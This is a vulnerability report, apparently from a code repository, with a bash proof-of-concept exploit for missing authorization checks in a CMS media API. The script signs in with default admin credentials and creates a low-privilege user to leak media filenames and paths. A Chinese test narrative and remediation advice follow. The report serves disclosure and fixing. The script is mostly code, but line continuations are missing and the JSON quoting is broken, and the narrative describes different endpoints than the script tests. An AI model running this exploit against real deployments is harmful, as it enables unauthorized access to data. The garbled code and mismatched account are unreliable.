Repository navigation
Description
POC:#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${1:-http://192.168.200.21:8000}"
ADMIN_EMAIL="${ADMIN_EMAIL:-n.widart@gmail.com}"
ADMIN_PASSWORD="${ADMIN_PASSWORD:-test}"
TS="$(date +%s)"
ROLE_NAME="Low Media FindFirst ${TS}"
ROLE_SLUG="low-media-findfirst-${TS}"
LOW_EMAIL="low.mediafindfirst.${TS}@example.com"
LOW_PASSWORD='Passw0rd!'
PAGE_SLUG="audit-findfirst-${TS}"
PAGE_TITLE="Audit FindFirst ${TS}"
FOLDER_NAME="audit-findfirst-folder-${TS}"
admin_cookie="$(mktemp)"
low_cookie="$(mktemp)"
admin_html="$(mktemp)"
low_html="$(mktemp)"
page_resp="$(mktemp)"
folder_resp="$(mktemp)"
link_resp="$(mktemp)"
find_resp="$(mktemp)"
trap 'rm -f "$admin_cookie" "$low_cookie" "$admin_html" "$low_html" "$page_resp" "$folder_resp" "$link_resp" "$find_resp"' EXIT
extract_login_csrf() {
grep -oP 'name="_token" type="hidden" value="\K[^"]+'
}
extract_meta_token() {
grep -oP 'meta name="user-api-token" content="\K[^"]*'
}
echo "[*] login as admin"
admin_csrf="$(curl -sS -c "$admin_cookie" "$BASE_URL/en/auth/login" | extract_login_csrf)"
curl -sS -b "$admin_cookie" -c "$admin_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$admin_csrf"
--data-urlencode "email=$ADMIN_EMAIL"
--data-urlencode "password=$ADMIN_PASSWORD" >"$admin_html"
admin_token="$(extract_meta_token <"$admin_html")"
if [[ -z "$admin_token" ]]; then
curl -sS -b "$admin_cookie" -c "$admin_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
admin_token="$(curl -sS -b "$admin_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] admin token: $admin_token"
echo "[*] create low-privilege role"
curl -sS -X POST "$BASE_URL/en/api/user/roles"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"name":"$ROLE_NAME","slug":"$ROLE_SLUG","permissions":{"dashboard.index":"1","account.api-keys.index":"1","account.api-keys.create":"1"}}"
echo
role_id="$(
curl -sS "$BASE_URL/en/api/user/roles/all"
-H "Authorization: Bearer $admin_token" |
python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; slug=sys.argv[1]; print([x["id"] for x in data if x["slug"] == slug][0])' "$ROLE_SLUG"
)"
echo "[+] role id: $role_id"
echo "[*] create low-privilege user"
curl -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Low","last_name":"FindFirst","email":"$LOW_EMAIL","password":"$LOW_PASSWORD","password_confirmation":"$LOW_PASSWORD","roles":[$role_id],"is_activated":true}"
echo
echo "[*] create a page as admin"
curl -sS -X POST "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"template":"default","is_home":false,"en":{"title":"$PAGE_TITLE","slug":"$PAGE_SLUG","status":1,"body":"find-first"}}" | tee "$page_resp"
echo
page_id="$(
curl -sS "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $admin_token" |
python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; slug=sys.argv[1]; print([x["id"] for x in data if x["translations"]["slug"] == slug][0])' "$PAGE_SLUG"
)"
echo "[+] page id: $page_id"
echo "[*] create a media folder as admin"
curl -sS -X POST "$BASE_URL/en/api/folder"
-H "Authorization: Bearer $admin_token"
--data-urlencode "name=$FOLDER_NAME" | tee "$folder_resp"
echo
folder_id="$(python3 -c 'import json,sys; print(json.load(sys.stdin)["data"]["id"])' <"$folder_resp")"
echo "[+] folder id: $folder_id"
echo "[*] admin links the media object to the page image zone"
curl -i -sS -X POST "$BASE_URL/en/api/media/link"
-H "Authorization: Bearer $admin_token"
--data-urlencode "mediaId=$folder_id"
--data-urlencode 'entityClass=Modules\Page\Entities\Page'
--data-urlencode "entityId=$page_id"
--data-urlencode 'zone=image'
--data-urlencode 'order=1' | tee "$link_resp" | sed -n '1,30p'
echo "[*] login as low-privilege user"
low_csrf="$(curl -sS -c "$low_cookie" "$BASE_URL/en/auth/login" | extract_login_csrf)"
curl -sS -b "$low_cookie" -c "$low_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$low_csrf"
--data-urlencode "email=$LOW_EMAIL"
--data-urlencode "password=$LOW_PASSWORD" >"$low_html"
low_token="$(extract_meta_token <"$low_html")"
if [[ -z "$low_token" ]]; then
curl -sS -b "$low_cookie" -c "$low_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
low_token="$(curl -sS -b "$low_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] low token: $low_token"
echo "[*] protected page listing should be denied"
curl -i -sS "$BASE_URL/en/api/page/pages"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'
echo "[*] protected media listing should be denied"
curl -i -sS "$BASE_URL/en/api/media/all-vue"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'
echo "[*] low-privilege user can still fetch the first linked media without page/media permissions"
curl -G -i -sS "$BASE_URL/en/api/media/find-first-by-zone-and-entity"
--data-urlencode 'entity=Modules\Page\Entities\Page'
--data-urlencode "entity_id=$page_id"
--data-urlencode 'zone=image'
-H "Authorization: Bearer $low_token" | tee "$find_resp" | sed -n '1,40p'
echo "[*] extracted leaked filename"
python3 - <<'PY' "$find_resp"
import json,sys
raw=open(sys.argv[1]).read()
body=raw.split("\r\n\r\n")[-1] if "\r\n\r\n" in raw else raw.split("\n\n")[-1]
data=json.loads(body)["data"]
print("[+] leaked id:", data["id"])
print("[+] leaked filename:", data["filename"])
print("[+] leaked path:", data["path"])
PY
POC TEST:使用默认管理员账号登录并获取 API Token,创建仅具备 dashboard.index、account.api-keys.index、account.api-keys.create 权限的低权限角色和用户。该低权限用户访问 GET /en/api/media/all-vue 返回 401 Unauthorized,说明媒体列表接口本应受权限保护;但同一 Bearer Token 访问 GET /en/api/media/1 返回 200 且成功读取目录元数据,继续调用 POST /en/api/media/move 返回 200 和 Files moved successfully。最后管理员再次查询该目录时,path 已从 /assets/media/audit-src-1773740220 变为 /assets/media/audit-dst-1773740220/audit-src-1773740220,证明低权限用户在没有 media 权限的情况下确实完成了目录读取与移动操作。越权访问链路清晰、响应结果一致,判定漏洞成立。
suggest:对 /workspace/source-code/Modules/Media/Http/apiRoutes.php 中所有仅挂 api.token 的敏感路由补齐最小化 token-can 校验,至少应覆盖 media/link、media/unlink、media/move、media/sort、media/find-first-by-zone-and-entity、media/get-by-zone-and-entity、media/{media} 与 folder/breadcrumb/{folder}。其中 GET /folder/breadcrumb/{folder} 应与 GET /folder 一致补充 token-can:media.folders.index,避免低权限用户绕过目录列表授权直接枚举路径层级。同时建议在 MediaController、MoveMediaController 与 FolderBreadcrumbController 内增加第二层对象级授权:限制 entityClass 只能来自受信任白名单,并基于当前用户权限校验目标实体、目标媒体对象及其关系是否允许读取、关联、解绑、移动、重排或读取目录层级,避免后续路由声明遗漏时再次暴露越权面。
Activity